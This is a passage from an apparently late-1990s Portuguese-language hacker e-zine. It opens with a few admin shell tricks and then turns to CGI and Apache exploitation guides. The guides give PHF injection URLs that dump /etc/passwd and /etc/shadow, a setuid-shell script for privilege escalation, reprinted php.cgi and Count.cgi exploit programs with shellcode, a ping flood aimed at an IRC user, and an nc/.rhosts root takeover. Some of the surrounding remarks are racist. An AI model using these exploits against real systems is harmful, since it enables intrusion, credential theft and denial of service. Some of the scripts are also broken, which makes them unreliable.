o seu sistema, assim nos poderemos manter os aR00tos um pouco
por dentro da profissao que eles executam...
1) k0mandos seguros para linux:
-------- ------- ---- ------
a.) Vendo as portas abertas do seu sistema - by bloodroot
Na cheu digite:
/usr/local/bin/strobe -V -d -b 1 -e 12000 -n 32 -t4 localhost
b.) Achando contas com .rhosts - by bloodroot
Tambem na cheu digite:
find / -name .rhosts -exec ls -al {} \;
c.) Catando usuarios sem password - by bi0tek
Modo 1.)
cut -f1,2,3 -d: /etc/shadow | grep :: | cut -f1 -d:
Modo 2.)
grep '::' /etc/passwd
d.) Vendo o log dos 10 ultimos reboots - by bi0tek
last -100 | grep reboot | head -10
Obs: Mude o 'head -10' para o numero de reboots logados que
voce quer ver.
2.) Procurando por UIDs:0 e GIDs:0 - by bi0h4zard
#!/bin/sh
# Smack my bitch UP!!!
#
if [ `grep -c '^.*:.*:0:' /etc/passwd 2>/dev/null` -gt 1 ]; then
echo "Opa!, o root agora tem irmaos !!!"
grep '^.*:.*:0:' /etc/passwd | grep -v "^root:"
exit 1
fi
exit 0
3.) Fechando terminais impedindo conexao de estranhos - Nelson Murilo
#!/bin/sh
# Bloqueia o terminal ate que seja informada
# a mesma senha que o tornou bloqueado
#
#
PATH=/bin:/usr/bin; export PATH
stty -echo
cad=
while [ "$cad" = "" ]; do
/bin/echo "Senha: \c"
read cad < /dev/tty
done
trap "" 2 3 15
cat <> $cmd
echo "echo Usuario que executou: `whoami` >> log" >> $cmd
if [whoami != root]
then
echo ""
echo "Possivelmente possa ter ocorrido uma falha de seguranca" >> $log
echo "Verifique poor bugs no seu sistema...." >> $log
echo ""
fi
echo "echo Data de execucao: `date` >> $log" >> $cmd
echo "echo Sistema Operacional: `uname -sr` >> $log" >> $cmd
echo "echo Hostname: `last | grep $whoami` >> $log" >> $cmd
echo "echo >> $log" >> $cmd
echo "$safedir" >> $cmd
5.) Guest phucker - by Primal Phear
Primeiro, edite o /etc/passwd e coloque uma linha assim:
guest::69:69:guest user:/home/guest/:/bin/guestshell
E o guestshell e' assim:
#!/bin/sh
# Simples fuckin' around
telnet localhost 19
E vamos saudar o hackerzao...
6.) ls seguro - by bloodroot
coloque este ls no lugar do /bin/ls e coloque o verdadeiro ls em
outro lugar.
#!/bin/sh
lsnew= # novo lugar do ls
mv /bin/ls $lsnew
echo "if [whoami != root]" >> /bin/sh
echo "then" >> /bin/sh
echo " $lsnew -a" >> /bin/sh
echo "else" >> /bin/sh
echo " $lsnew" >> /bin/sh
echo "fi" >> /bin/sh
Agora qualquer um cujo o whoami seja igual a root, automaticamente
ira executar o ls em modo ls -a, vendo todo o conteudo do diretorio,
inclusive arquivos .algumacoisa, em geral todos os arquivos de um
diretorio qualquer do qual o root de um ls, e quanto aos outros, bom
um simples ls ta' otimo... ;) O que tambem impede a execucao do ls
backdoor.
Isto conclui as ferramentas de seguranca desta edicao, acredito que o
pessoal vai ter muito o que testar nas sua LinuxOS por ai, entao vou
indo embora.
Hugs()
Sekurity Tools!!!
foi criado por todos os membros da Phone9.
(c) reg - 2001 productions, .[P9].
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ 15 - Exploitacao por meio de CGIs - Parte I ³°°
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by bloodroot ³°°
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°
The CGI guide to Exploitation
by the blood root
(c) The Misery Machine
1.) Introducao
2.) PHF bug
3.) PHP bug
4.) Sanitize protection
5.) Test-cgi
6.) count.cgi exploit
7.) Server gateway cgi atack
8.) Parte II
1.) Introducao
O Common Gateway Interface ( cgi ), nada mais e' do que pequenos
programas compilados em varias linguagens existentes no mundo da
programacao, podendo ser aplicado sobre varios tipos de gateway e
proxys na rede, mas o seu uso mais comum e' em paginas da web
( http ), as linguagens mais comuns utilizadas para se programar
em cgi's e' perl, ams existem outras linguagens:
Perl, C , Cshell , VBscript, Java.
Embora o java , ainda nao seja uma linguagem para cgi's
alguns modulos podem ser feitos por meio de java.
CGI's sao usados para facilitar a comunicacao user x server, sempre
deixando uma barreira de chmod's , logs e avisos para o admin, mas
nem sempre foi assim ( na verdade, eu acho q nunca foi assim ), o
caso e' que o cgi, e' um programa que e' rodado no console ( shell )
do sistema, sobre o user ou de anonymous, ou de um usuario cgi, que
so devera ter acesso ate' o /cgi-bin, seja como for, ter acesso a
uma shell, por meio de um brownser, concerteza deve ter algum provei-
to para nos, entao a pouco mais de uns 4 ou 5 anos, foi descoberto uma
das primeiras vulnerabilidades em um cgi. O nome do cgi era phf.cgi,
ou phf.pl ( tanto faz ), o que colocou em prova a teoria sobre a
seguranca dos servidores. Veja o caso.
2.) PHF bug...
Em muitos servidores apache, no diretorio cgi-bin, ainda existe
um programa chamada PHF, que foi um dos primeiros grandes bugs a serem
descobertos no apache, que pode ser exploitado por meio de browser,
lynx,netscape,NCSA,hacknet,Opera entre outros, o problema todo esta em
sua configuracao de propriedades assim chmod +x /home/http/cgi-bin/
phf.cgi, tornando-o um arquivo executavel, e dependendo de quem
colocou esta configuracao, voce pode rodar o arquivo como sendo root,
ou ate' o user que roda o servidor ( http ), otimo geralmente scripts\
como PHF, rodando como user nobody, fazedo com que cada processo seja
rodado por um usuario que nao tenha tanta importancia no sistema, algo
como NINGUEM!!! ;)
bom, agora que voce ja' sabe o inicio, vamos rodar o script
PHF, para ver se ele e' ou nao exploitavel ( checando as IDs do dono
do processo PHF no sistema )
http://jackass.com.br/cgi-bin/phf/?Qalias=x%0aid
Como resultado, ira aparecer algo assim:
QUERY RESULTS
/usr/local/bin/ph -m alias=x id
uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)
Sendo , assim nos podemos ser o user nobody do sistema, sem
problemas, rodando os processos do qual o user nobody tem acesso.
Agora a parte nasty, vem quando voce comeca a colocar
comandos mais perigoso para o sistema:
http://lamer.org/cgi-bin/phf/?Qalias=x%0a/bin/cat%20/etc/passwd
<< Ira pegar o arquivo de passwords
http://lamer.org/cgi-bin/phf/?Qalias=x%0a%0a/bin/cat%20/etc/shadow
<< Caso, o passwd esteja em shadow, a opcao seguinte e' esta
http://lamer.org/cgi-bin/phf/?Qalias=x%0apasswd%20root
<< Mudando a senha do root?
http://altavista.digital.com/cgi-bin/query?pg=aq&what=web&fmt=.
&q=link%3A%22%2Fcgi-bin%2Fphf%22&r=&d0=&d1=
<< Utiliza o alta-vosta para achar servidores com o phf nele!!!
Use a imaginacao, que voce sempre vai poder tirar proveito deste
buggy.
Algumas tecnicas para saloes UNIXseX
------------------------------------
1- Armazem de bugs:
Okay, sendo um usuario exemplar da sua escola, o
operador bastardo vindo do inferno , que por sinal
opera a rede de computadores UNIXseX da escola,
resolve te dar uma conta com shell no sistema, para
voce compilar aqueles seus programas escolares que
voce use depois de ir na bugtraq. Entao, ele te da
um otimo diretorio ( como sempre ) /home/sucker/
Voce como um otimo aluno, espera ate' chegar ao
anoitecer e bum, se loga no sistema:
Welcome to UNIXseX 2.0.0 << Kernel antiga ;)
login:sucker
password:
No mail
sucker:/home/sucker/$
Pega este lindo codigo em CS-hell que voce,
um pouco mais abaixo ( agora voce deve apertar
page down no teclado , perto do delete, para
ver o codigo ), e agora o codigo:
------ PHlamming ------
#!/bin/csh
#Sucker d00d? thanx to JackaSS
#chame-o de sucking
echo "Oi, tudo bem?"
echo "I'm a JackASS program"
touch /tmp/root
echo "Lembre-se, isto nao deve machucar muito"
/bin/cp /bin/sh /tmp/root
echo "Faca AHHHHHHHHHHHHHHH!!!!!!"
chmod 4755 /tmp/root
echo "Coitado, vai ficar de cama por uns dias"
/tmp/root
echo "lervante ele, para ele aROOTar direito!"
passwd sucker
echo "Pronto, acho que ele vai ficar bem!! ;p"
echo "!>DoNEpw_dir,pd,temp);
}
}
#endif
- --- 340,351 ----
pd = getenv(PHP_PUB_DIRNAME_ENV);
#endif
if (pd == 0) pd = PHP_PUB_DIRNAME;
! strcpy (path,pw->pw_dir);
! strcat (path,"/");
! strncat (path, pd,
! sizeof(path) - strlen(path) - 1);
! strncat (path, temp,
! sizeof (path) - strlen(path) - 1);
}
}
#endif
***************
*** 343,352 ****
o=*s;
*s='\0';
}
! strcpy(user,path+2);
if(s) {
*s=o;
! strcpy(temp,s);
} else temp[0]='\0';
#if HAVE_PWD_H
if(*user) {
- --- 355,366 ----
o=*s;
*s='\0';
}
! strncpy(user,path+2, sizeof (user));
! user[sizeof(user) - 1] = '\0';
if(s) {
*s=o;
! strncpy(temp,s,sizeof(temp));
! temp[sizeof(temp) - 1] = '\0';
} else temp[0]='\0';
#if HAVE_PWD_H
if(*user) {
***************
*** 357,363 ****
pd = getenv(PHP_PUB_DIRNAME_ENV);
#endif
if (pd == 0) pd = PHP_PUB_DIRNAME;
! sprintf(path,"%s/%s%s",pw->pw_dir,pd,temp);
}
}
#endif
}
- --- 371,383 ----
pd = getenv(PHP_PUB_DIRNAME_ENV);
#endif
if (pd == 0) pd = PHP_PUB_DIRNAME;
! strcpy (path,pw->pw_dir);
! strcat (path,"/");
! strncat (path, pd,
! sizeof(path) - strlen(path) - 1);
! strncat (path, temp,
! sizeof (path) - strlen(path) - 1);
! }
}
#endif
}
***************
*** 370,376 ****
}
}
if(*fn) {
! sprintf(temp,"%s/%s",path,fn);
#ifndef WINDOWS
st = stat(temp,&gsb);
#else
- --- 390,399 ----
}
}
if(*fn) {
! strncpy (temp, path, sizeof (temp));
! temp[sizeof(temp) - 1] = '\0';
! strcat (temp,"/");
! strncat(temp,fn,sizeof(temp) - strlen(temp) - 1);
#ifndef WINDOWS
st = stat(temp,&gsb);
#else
***************
*** 382,394 ****
st = -1;
#endif
if((st!=-1) && (gsb.st_mode&S_IFMT)==S_IFDIR) {
! sprintf(temp,"%s/%s/index.html",path,fn);
st = stat(temp,&gsb);
if(st==-1) {
! sprintf(temp,"%s/%s/index.phtml",path,fn);
st = stat(temp,&gsb);
}
! sprintf(path,"%s/%s",path,fn);
} else if(st==-1) {
l = strlen(temp);
if(strlen(fn)>4) {
- --- 405,431 ----
st = -1;
#endif
if((st!=-1) && (gsb.st_mode&S_IFMT)==S_IFDIR) {
! strncpy (temp,path,sizeof(temp));
! temp[sizeof(temp) - 1] = '\0';
! strcat (temp, "/");
! strncat (temp,fn,
! sizeof(temp) - strlen (temp) - 1);
! strncat (temp,"/index.html",
! sizeof(temp) - strlen (temp) - 1);
st = stat(temp,&gsb);
if(st==-1) {
! strncpy (temp,path,sizeof(temp));
! temp[sizeof(temp) - 1] = '\0';
! strcat (temp, "/");
! strncat (temp,fn,
! sizeof(temp) - strlen (temp) - 1);
! strncat (temp,"/index.html",
! sizeof(temp) - strlen (temp) - 1);
st = stat(temp,&gsb);
}
! strcat (path,"/");
! strncat (path, fn,
! sizeof(path) - strlen(path) - 1);
} else if(st==-1) {
l = strlen(temp);
if(strlen(fn)>4) {
***************
*** 410,422 ****
st = -1;
#endif
if((st!=-1) && (gsb.st_mode&S_IFMT)==S_IFDIR) {
! sprintf(temp,"%s/index.html",path);
st = stat(temp,&gsb);
if(st==-1) {
! sprintf(temp,"%s/index.phtml",path);
st = stat(temp,&gsb);
}
! } else strcpy(temp,path);
}
} else {
#ifndef WINDOWS
- --- 447,468 ----
st = -1;
#endif
if((st!=-1) && (gsb.st_mode&S_IFMT)==S_IFDIR) {
! strncpy (temp, path, sizeof (temp));
! temp[sizeof(temp) - 1] = '\0';
! strncat (temp, "/index.html",
! sizeof (temp) - strlen (temp) - 1);
st = stat(temp,&gsb);
if(st==-1) {
! strncpy (temp, path, sizeof (temp));
! temp[sizeof(temp) - 1] = '\0';
! strncat (temp, "/index.phtml",
! sizeof (temp) - strlen (temp) - 1);
st = stat(temp,&gsb);
}
! } else {
! strncpy(temp,path, sizeof (temp));
! temp[sizeof (temp) - 1] = '\0';
! }
}
} else {
#ifndef WINDOWS
***************
*** 430,442 ****
st = -1;
#endif
if((st!=-1) && (gsb.st_mode&S_IFMT)==S_IFDIR) {
! sprintf(temp,"%s/index.html",fn);
st = stat(temp,&gsb);
if(st==-1) {
! sprintf(temp,"%s/index.phtml",fn);
st = stat(temp,&gsb);
}
! } else strcpy(temp,fn);
}
*ret=st;
return(temp);
- --- 476,498 ----
st = -1;
#endif
if((st!=-1) && (gsb.st_mode&S_IFMT)==S_IFDIR) {
! strncpy (temp, fn, sizeof (temp));
! temp[sizeof(temp) - 1] = '\0';
! strncat (temp, "/index.html",
! sizeof (temp) - strlen (temp) - 1);
st = stat(temp,&gsb);
if(st==-1) {
! strncpy (temp, fn, sizeof (temp));
! temp[sizeof(temp) - 1] = '\0';
! strncat (temp, "/index.phtml",
! sizeof (temp) - strlen (temp) - 1);
!
st = stat(temp,&gsb);
}
! } else {
! strncpy(temp,fn,sizeof (temp));
! temp[sizeof(temp) - 1] = '\0';
! }
}
*ret=st;
return(temp);
Para exploitar o bug, apenas digite este endereco no seu browser:
...
http://www.phuck.org/cgi-bin/php.cgi?
...
E ainda vai um programas, otimos que o pessoal da CodeZero ( confidence
remains high ), apresentou em umas das edicoes da zine:
----[ begin second fuck1n'31337 c0d3]----
/*
p1 (peewun@heterosexual.com)
This code retrieves a file using php.cgi on a remote system.
This program is for educational purposes only. Use it on p1.com.
*/
#include
#include
#include
#include
#include
#include
#include
#include
FILE *server;
int sock;
void do_connect(char *host, char *toget);
void do_connect(char *host, char *toget)
{
char inbuf[1024];
struct sockaddr_in sin;
struct hostent *hp;
char *tmpbuf;
hp = gethostbyname(host);
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
sin.sin_family = hp->h_addrtype;
sin.sin_port = htons(80);
sock = socket(AF_INET, SOCK_STREAM, 0);
if ( -1 < connect(sock, (struct sockaddr *) &sin, sizeof(sin)) ) {
printf("Made connection to %s.\n\n", host);
} else {
printf("Failed to connect to %s.\n\n",host);
exit(0);
}
server=fdopen(sock, "a+");
fprintf(server, "GET /cgi-bin/php.cgi?%s\n",toget);
printf("Output from php.cgi request:\n\n");
while(1){
if (fgets(inbuf, 1024, server) == NULL)
break;
printf(inbuf);
}
}
main(int argc,char **argv)
{
printf("\nThis program is a remote exploit system using php.cgi.\n");
printf("Author: p1 - peewun@heterosexual.com\n");
if (argc < 3) {
printf("Usage: %s \n",argv[0]);
printf(" Ex: %s www.p1.com /etc/passwd\n",argv[0]);
}
else {
char *buffer;
(char *)"exit";
do_connect(argv[1],argv[2]);
exit(1);
}
}
---[ end of fuck1n' 31337 sh17 ]----
enjoÝ
4.) User-id cgi bug
Uma das falhas mais recentes em servidores que rodam seus cgi's e' a
execucao de comandos arbitrarios nas maquinas sobre a uid/gid do dono
do processo do servidor ou do cgi. Exemplos sao php.cgi, phf.cgi,
query.cgi entre outros. A maioria destes bug's sao feitos devido a
as funcoes QUERY_STRINGS, do qual armazenam as strings digitadas por
qualquer usuario, sendo assim comandos como %0a/bin/cat%20/etc/passwd
e' possivel de ocorrer em varios e varios casos de ataques por meio de
cgi's. O escriotr de cgi's conciente deste tipo de ataques, resolve
retirar os meta-characteres do seu script. Levando a resultados assim:
#!/usr/local/bin/perl
$user_data = $ENV{'QUERY_STRING'}; # Armazena data
print "$user_data\n";
$user_data =~ s/[\/ ;\[\]\<\>&\t]/_/g; # Tira caracteres
print "$user_data\n";
exit(0);
Com este codigo, o programador estipula que caracteres nao devem ser
utilizados naquele cgi. E' claro que o programador nao coloca todos os
caracteres que nao podem ser usados no cgi, entao ficam alguns
caracteres de fora. mas os principais estao infelismente estipulados,
por exemplo o simples fato de colocar um / no cgi ja' devera ser
impedido pelo servidor. sUx.
CERT (c) - 1998.
5.) Test-cgi
Este e' bem conhecido, utilizando ele , voce pode cair dentro do
/root do servidor sem nenhum problema, apenas executando esta
linha de comando:
...
- http://www.phuck.org/cgi-bin/test-cgi?/*
...
O problema mais uma vez esta na nao marcac'ao de
caracteres nao permitidos pelo cgi. A funcao QUERY_STRING,
abaixo:
echo QUERY_STRING = $QUERY_STRING
Nao seleciona, quais caracteres nao podem ser usados no
cgi, permitindo que as pessoas utilizem caracteres como *,
que como voces devem ( deveriam ), saber /* leva ao
diretorio do root, sem problemas... ou entao /~ em alguns
linux. Concertar este bug, e' bem facil , utilize o
sistema de sanitize acima, ou delete o test-cgi, para que
voce precisa dele, afinal? Para saber se' o codigo e'
vulneravel ou nao, apenas procure para funcao QUERY_STRING
do codigo do script (pico /var/lib/httpd/cgi-bin/test.cgi)
procure por uma linha assim:
...
QUERY_STRING = calendar cgi-archie cgi-calendar cgi-date cgi-finger
cgi-fortune cgi-lib.pl imagemap imagemap.cgi imagemap.conf index.html
mail-query mail-query-2 majordomo majordomo.cf marker.cgi
menu message.cgi munger.cgi munger.note ncsa-default.tar post-query
query smartlist.cf src subscribe.cf test-cgi uptime
...
Ou
...
QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt
/root /sbin /stand /sys /tmp /usr /usr2 /var
...
Todas estas linahs sao extremamente prejudiciais para o seu servidor, por
tanto para que deixar um .cgi com tantos bugs rodando no seu servidor, se o
seu proposito de existencia e' meramente inutil ;) ???
6.) Count.cgi exploit
O problema todo , mais uma vez ocorre no buffer overflow do nosso
grande e querido amigo QUERY_STRING, voce consegue a shell do dono
do processo ( geralmente, daemon,httpd,nobody ), a protecao contra
este exploit e' bem simples e' esta resumida no codigo abaixo:
> void wrapit(char *envvar,int esize)
> {
> char *tmp,*tmp2;
> tmp=malloc(esize+1);
> if(tmp==NULL)
> {
> Debug2("Can't allocate wrapper memory buffer.",0,0);
> exit(1);
> }
> strncpy(tmp,(tmp2=getenv(envvar))?tmp2:"",esize-1);
> tmp[esize]='\0';
> setenv(envvar,tmp,1);
> }
>
89c103
< char
---
> char
185a200,207
> /*
> * Evita os problemas no buffer,nao diexando que qquer string seja dada
> * como inpout no cgi.
> */
>
> wrapit("QUERY_STRING",600);
> wrapit("HTTP_REFERER",600);
> wrapit("HTTP_USER_AGENT",600);
>
E para exploitar esta belezinha, apenas compile e rode o programa
abaixo:
------------cutcut-------8<-----------------------------------------------
/*
Count.cgi (wwwcount) linux test exploit
(c) 05/1997 by plaguez - dube0866@eurobretagne.fr
*/
#include
#include
char shell[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d"
"\x5e\x18\x88\x46\x2c\x88\x46\x30"
"\x88\x46\x39\x88\x46\x4b\x8d\x56"
"\x20\x89\x16\x8d\x56\x2d\x89\x56"
"\x04\x8d\x56\x31\x89\x56\x08\x8d"
"\x56\x3a\x89\x56\x0c\x8d\x56\x10"
"\x89\x46\x10\xb0\x0b\xcd\x80\x31"
"\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff"
"/usr/X11R6/bin/xterm0-ut0-display0"
"127.000.000.001:00"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff";
jmp 60
popl %esi
xorl %eax,%eax # efface eax
movl %esi,%ecx # recupere l'adresse du buffer
leal 0x18(%esi),%ebx # recupere l'adresse des chaines
movb %al,0x2c(%esi) # cree les chaines azt
movb %al,0x30(%esi) #
movb %al,0x39(%esi)
movb %al,0x4b(%esi)
leal 0x20(%esi),%edx # cree le char**
movl %edx,(%esi)
leal 0x2d(%esi),%edx
movl %edx,0x4(%esi)
leal 0x31(%esi),%edx
movl %edx,0x8(%esi)
leal 0x3a(%esi),%edx
movl %edx,0xc(%esi)
leal 0x10(%esi),%edx
movl %eax,0x10(%esi)
movb $0xb,%al
int $0x80 # passe en mode kernel
xorl %ebx,%ebx # termine proprement (exit())
movl %ebx,%eax # si jamais le execve() foire.
inc %eax #
int $0x80 #
call -65
.byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
.byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
.byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
.ascii \"/usr/X11R6/bin/xterm0\" # 44
.ascii \"-ut0\" # 48
.ascii \"-display0\" # 57 au ;
.ascii \"127.000.000.001:00\" # 75 (total des chaines)
.byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
.byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
...
*/
char qs[7000];
char chaine[]="user=a";
unsigned long getesp() {
// asm("movl %esp,%eax");
return 0xbfffee38;
}
void main(int argc, char **argv) {
int compt;
long stack;
stack=getesp();
if(argc>1)
stack+=atoi(argv[1]);
for(compt=0;compt<4104;compt+=4) {
qs[compt+0] = stack & 0x000000ff;
qs[compt+1] = (stack & 0x0000ff00) >> 8;
qs[compt+2] = (stack & 0x00ff0000) >> 16;
qs[compt+3] = (stack & 0xff000000) >> 24;
}
strcpy(qs,chaine);
qs[strlen(chaine)]=0x90;
qs[4104]= stack&0x000000ff;
qs[4105]=(stack&0x0000ff00)>>8;
qs[4106]=(stack&0x00ff0000)>>16;
qs[4107]=(stack&0xff000000)>>24;
qs[4108]= stack&0x000000ff;
qs[4109]=(stack&0x0000ff00)>>8;
qs[4110]=(stack&0x00ff0000)>>16;
qs[4111]=(stack&0xff000000)>>24;
qs[4112]= stack&0x000000ff;
qs[4113]=(stack&0x0000ff00)>>8;
qs[4114]=(stack&0x00ff0000)>>16;
qs[4115]=(stack&0xff000000)>>24;
qs[4116]= stack&0x000000ff;
qs[4117]=(stack&0x0000ff00)>>8;
qs[4118]=(stack&0x00ff0000)>>16;
qs[4119]=(stack&0xff000000)>>24;
qs[4120]= stack&0x000000ff;
qs[4121]=(stack&0x0000ff00)>>8;
qs[4122]=(stack&0x00ff0000)>>16;
qs[4123]=(stack&0xff000000)>>24;
qs[4124]= stack&0x000000ff;
qs[4125]=(stack&0x0000ff00)>>8;
qs[4126]=(stack&0x00ff0000)>>16;
qs[4127]=(stack&0xff000000)>>24;
qs[4128]= stack&0x000000ff;
qs[4129]=(stack&0x0000ff00)>>8;
qs[4130]=(stack&0x00ff0000)>>16;
qs[4131]=(stack&0xff000000)>>24;
strcpy((char*)&qs[4132],shell);
/* Choose what to do here */
printf("GET /cgi-bin/Count.cgi?%s\n\n",qs);
/*fprintf(stderr,"\n\nadresse: %x0x\n",stack);
printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0\nUser-Agent: %x\n\n",qs,stack);
setenv("QUERY_STRING",qs,1);
system("/usr/local/etc/httpd/cgi-bin/Count.cgi");
system("/bin/sh");*/
}
-------------------------------------8<-------------------------
7.) Server gateway cgi atack
Okay, entao a popularidade da seguranca dos japoneses, esta aumentando
cada vez mais... Entao voce entra em um servidor japones!!!
/server irc.unix-fu.jp , e la' voce encontra uma bando de olhinhos
puxados grudados na tela!!! Voce chega e zoa um deles do cara #srekcah
este fala,
Go fuck yo self, dumbass
Sashimi, mucutu , ariri, samana, tumanague...
O cara fica , puto entao voce sabendo que a maioria dos
servidores japoneses, utilizam o /cgi-bin/phf, entao vamos a
festa!!! Provavelmente o jaones ta' te xingando de todos os
nomes como kotobuki, yacksoba entre outros, voce puta , da' um
whois nele!!!
/whois japaneshacker
E recebe um response assim:
*** japaneshacker is ppp125.unix-fu.jp
*** japaneshacker is on #srekcah
*** japaneshacker is using irc.unix-fu.jp
*** japaneshacker is away: Say honara, harigato!!!
*** Notice that i have got some real small eyes.
Agora, voce pega o seu browser ARENA de sumo!!! e coloca ele
para ir para o seguinte endereco:
---
y0:/# arena http://www.unix-fu.jp/cgi-bin/phf?Qname=a%0aping%20-c%201000%20
-s%205000%20ppp125.unix-fu.jp
O que voce acabou de fazer? Pense em uma shell que voce digitou isto:
root:/#ping -c 1000 -s 5000 ppp125.unix-fu.jp
A vitima ira receber 1000 pacotes cada um com 5008 bytes, e se este
esta de wind0ws!!! Rodou feio...
8.) Parte II
Na SEGUNDA PARTE, EU IREI DESCREVER ALGUNS METODOS DE SEGURANCA
E OUTROS METODOS DE COMO CONSTRUIR UM CGI, BUGADO O SUFICIENTE
PARA ROOTAR O /BIN/BAISHO DO SISTEMA!!!! CHAU1! ;)
The bloodroot - blood@phone9.0rg
Exploitacao por meio de CGI - Parte I
reg - (c) 1998, productions
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ 16 - Apache Web Server bugs ³°°
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ by bloodroot ³°°
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°
The Phone9 Communications Systems, inc.
reg - (c) 1998, productions
[Disque 9 para morer?]
APACHE WEB SERVER hack...
by the blood root
O servidor apache, e' um dos mais populares servidores de http, do mundo ,
rodando em servidores unix like, quase todos estes servidores sao powered
by apache, inc. Agora, imagina que k0ol voce invadido metade dos servidores
do mundo que rodam apache, por um simples bug? Esta tecnica e' uma mesclagem
varias outras tecnicas que eu conheci por ai, para que ela funcione sao
necessarios, alguns requisitos:
...
O servidor deve rodar como user nobody ( a maioria roda )
UID = 65535 | GID = 65535
O servidor deve ser apache server ( nao importa a versao dele )
Voce precisa ter uma conta no sistema!!! ( Metade das pessoas
que leem isto, ja' desistem !!! Bunch 0f l0oSerz )
...
A maioria das pessoas familiarizadas com unix, sabem que a maioria dos
servidores rodam como user nobody, para que a execucao de bugs via scripts,
seja delimitada a somente aos acessos fracos no sistema do user nobody.
Como varias aplicacoes rodam sobre a uid de 65535 ( nobody ) como o apache,
wn, NCSA entre outros, e' possivel se tornar root, por meio de um browser,
em um servidor apache, onde foram feitos os testes, mas eu tenho quase
certeza que ele funciona em outros servidores. Bom, entao vamos ao ataque:
Nos ja' constatamos que voce que somente poucos usuarios tem acesso ao user
nobody, praticamente nenhum , ja' que o password dele e' invalido '*', entao
somente o root poderia deshabilitar o '*' do password e se logar como nobody
mesmo assim, o login dele e' no /dev/null o que dificulta um pouco o login!!
Entao, nos teremos que executar algum programa que como o servidor apache,
roda sobre a uid de user nobody. Vejamos, /usr/bin/rpc, lembram-se do phf
bug? Entao, se voce puder exploitar um tipo de bug como aquele e executar
programas sobre a uid do user nobody no caso, voce conseguiria root em
poucos segundos. Entao vamos comecar o ataque, faca isto:
shit:/>$ echo "+ +" > /tmp/.rhosts
shit:/>$ echo "GET cgi-bin/phf?Qalias=x%0arpc+phone9@phone9.org:/tmp/.rhost+
/root/.rhosts" | nc -v - 20 shit.com.br 80
shit:/>$ rsh -l root shit.com.br "/bin/sh -i"
Va' no /tmp do servidor e faca isto:
%touch .rhosts
%echo "+ +" >> /tmp/.rhosts
%echo "GET cgi-bin/phf?Qalias=x%0arpc+phone9@phone9.org:/tmp/.rhosts+
